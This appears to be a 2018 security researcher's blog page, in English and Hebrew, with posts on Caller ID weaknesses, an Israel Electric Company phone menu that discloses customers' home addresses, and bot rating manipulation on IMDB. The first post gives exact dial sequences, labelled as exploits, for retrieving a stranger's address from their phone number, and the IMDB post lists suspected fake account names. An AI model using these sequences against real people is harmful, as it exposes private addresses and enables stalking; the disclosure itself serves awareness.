יום ראשון, 30 בספטמבר 2018

Caller ID project - IEC we have a problem


~~This article is for awarness only, don't use it to gain information about other people~~~~

As part of my ongoing project about Caller ID I'm sharing this data.

The IEC (Israel Electric Company)  is exposing the physical address of the clients, with or without the needs of spoof call.
All the attacker needs to know is the phone number, known or unknown target.

Later, he can type it in the IVR system, where client can inform about problems.
As a results, the IVR system is sharing the address which is connected to this phone number.

Since most of us, have electric power connected to our houses, and bill to pay -  it's really hard to prevent it, even in situation when the privacy is important
Calling the IEC is very simple:

Short number from Israel 103
Local and international:
+972(0)4-8187100
~~~~~~~~~~~~~~~~~~~~~
Exploit for address in Hebrew
Call from blocked number and then

 103;1;1;*;{target phone number},#;1

+972(0)4-8187100;1;1;*;{target phone number},#;1
~~~~~~~~~~~~~~~~~~~~~~
Exploit for address in English
Call from blocked number and then

 103;2;1;*;{client phone number},#;1

+972(0)4-8187100;2;1;*;{client phone number},#;1
~~~~~~~~~~~~~~~~~~~~~


The IEC  already in the loop, so I hope they will fix it sooner then later.

We must understand that our dependency  on Caller ID is totaly worng, just like missing of SSL in web services.

In this case study,  potenial actor don't have to change the caller ID in order to get data, so it's very good lesson of what to avoid.

More information about the caller ID project will be shared here in my blog, or my Twitter account.




It seems that this problem came after an idea to make better service to the clients 

יום רביעי, 19 בספטמבר 2018

מלחמת פרופגנדה ב IMDB


מכירים את IMDB?
עד כמה האתר משמש לכם כמקור מהימן לדירוג סרטים לפני שאתם בוחרים סרט?

לאחרונה יצא לאור סרט דוקומנטרי פרו רוסי בשם "A Sniper's Wars" המתעד צלף סרבי שהתנדב לקרבות במזרח אוקראינה.

https://m.imdb.com/title/tt7974772

מיד לאחר הפרסום, הסרט קיבל ביקורת שלילית של אלפי פרופילים מזוייפים, והראה כיצד הקרבות הפיזיים באוקראינה פולשים למרחב הקיברנטי והופכים לקרב תעמולה שבו הצד הפרו רוסי מקבל כיסוי חיובי בצורת סרט דוקו, ומאידך לאחר הפרסום של הסרט הצד השני נלחם בו, בצורה של הורדת הדירוג של הסרט על ידי מה שנראה כצבא של בוטים.

אני לא חקרתי עדיין עד כמה סרטים פוליטיים עוברים מלחמות דירוג של בוטים, אבל ברור לי שהשפעה על הדירוג מהווה קלף הסברתי שנראה יותר צדדים לעימותים ומחלוקות שיבחרו להשתמש בו, וזאת במקביל לעימותים הפיזיים או למניפולציות ברשתות חברתיות.

למרות שהנושא כבר סוקר בעבר, מסתבר שב IMDB לא השכילו להטמיע מערכת יעילה להתמודדות עם בוטים וביקורות מזויפות.

מאחר ש IMDB הינה חברה בבעלות Amazon, צריך לשאול את החברה כיצד היא מתמודדות עם הטיה פוליטית (ומסחרית) של ביקורות על סרטים, ולהבין האם היא אחראית להשפעה הפוליטית של הפלטפורמה שבבעלותה.

זה מאוד רלוונטי, כי אנשים רואים בביקורות שם לגיטימיות, בעוד שבפועל מדובר לא פעם בביקורות שנשלטות על ידי תוכנות, או גורמים מסחריים שרוצים לקדם צפיה בסרטים חדשים גם אם הם גרועים במיוחד.

במקרה של הסרט הספציפי, הבוטים הוגדרו כגברים המתגוררים מחוץ לארצות הברית.



לאחר בדיקה ידנית של מדרגים, התברר שרובם נפתחו באותו יום שבו דירגו והם נתנו ביקורות רק לסרט המדובר.

mailzfork
zellarablack
andrewsamchenko
revolutioner-00912
fourty-9
maksim-cypurdeev
royyuri
dimanowolf
sergiy-fakas
volodymyrivanov
mellonn
oleksiitroian
game-exe
glebbabenko

במהלך הכתיבה מצאתי חומר נוסף, ככה שהתברר שלפחות במקרה הזה היו גורמים פרו רוסים ששמו לב למניפולציה הספציפית קצת לפני שאני איתרתי אותה. 

אז איך קונים באופן עצמאי רייטינג ב IMDB? אחד המקומות שניתן לבחור בהם הוא האתר Fiver שבו ישמחו לספק לכם  שירות מגוון ספקים.





יום רביעי, 5 בספטמבר 2018

פרוייקט מיפוי מרכזיות שמזהות לקוחות לפי Caller ID

לפני מספר שנים עסקתי רבות בפרצות הנובעות מהטמעה של זיהוי לקוחות ומשתמשים בעזרת Caller ID, ובפשטות השיחה המזוהה שלהם.
המחקרים כללו החל מפרצות בשערים חשמליים ועד מערכות פיננסיות ואחרות.
תוקפים פוטנציאליים יכולים לממש בקלות שינוי שיחה מזוהה, ולכן מי שמטמיע שיטות הזדהות שמבוססות שיחה מזוהה פוגע בלקוחות והמשתמשים שלו.
לאחרונה נתקלתי בכמה מקרים דומים, והבנתי שכדאי להשפיע בנושא רצוי לעשות משהו רוחבי ולא להילחם בטחנות רוח ובאופן נקודתי.
מטרת פרוייקט זה היא לבנות מסמך שיתופי, שבו מי שירצה יוכל לדווח ולהזין פרטי חברות מתקנים ומקומות שבהם מתעקשים לזהות עדיין את המשתמשים לפי מספר טלפון בלבד, וזאת בניגוד להוראות הרשות להגנת הפרטיות.

המטרה היא ליצור לחץ חיובי גם על מטמיעי המערכת וגם על רגולטורים כמו משרד התקשורות, שיכול לבצע צעדים אופורטיביים בכדי להילחם ביכולת לשנות שיחה מזוהה.

בניגוד למדינות כמו ארצות הברית, כאן במדינת ישראל חסרה חקיקה ספציפית האוסרת משפטית שינוי שיחה מזוהה או מזהה של הודעות SMS, ובפועל אין פיקוח בנושא.

במצב שבו ניתן לשנות בקלות מספר טלפון, ההתעקשות של ספקי שירותים רבים להמשיך לזהות את הלקוחות והמשתמשים בעזרת המספר המזוהה שמתקבל בזמן שיחה נכנסת, גורם לכך שאבטחת מערכות העובדות במשותף עם מרכזיות טלפוניות גרוע ולקוי.

אתם מוזמנים להשתתף ולתרום לפרוייקט מידע רלוונטי באופן אנונימי בעזרת הזנת פרטים בטופס הבא:




המצור הדיגיטלי של טינדר על רצועת עזה והאזורים שמעבר לקו הירוק, ומה הקשר לצפון קוריאה?

For my English reader: I've found that Passport  feature which is part of Tinder Plus services , is not supported in Gaza and behind ...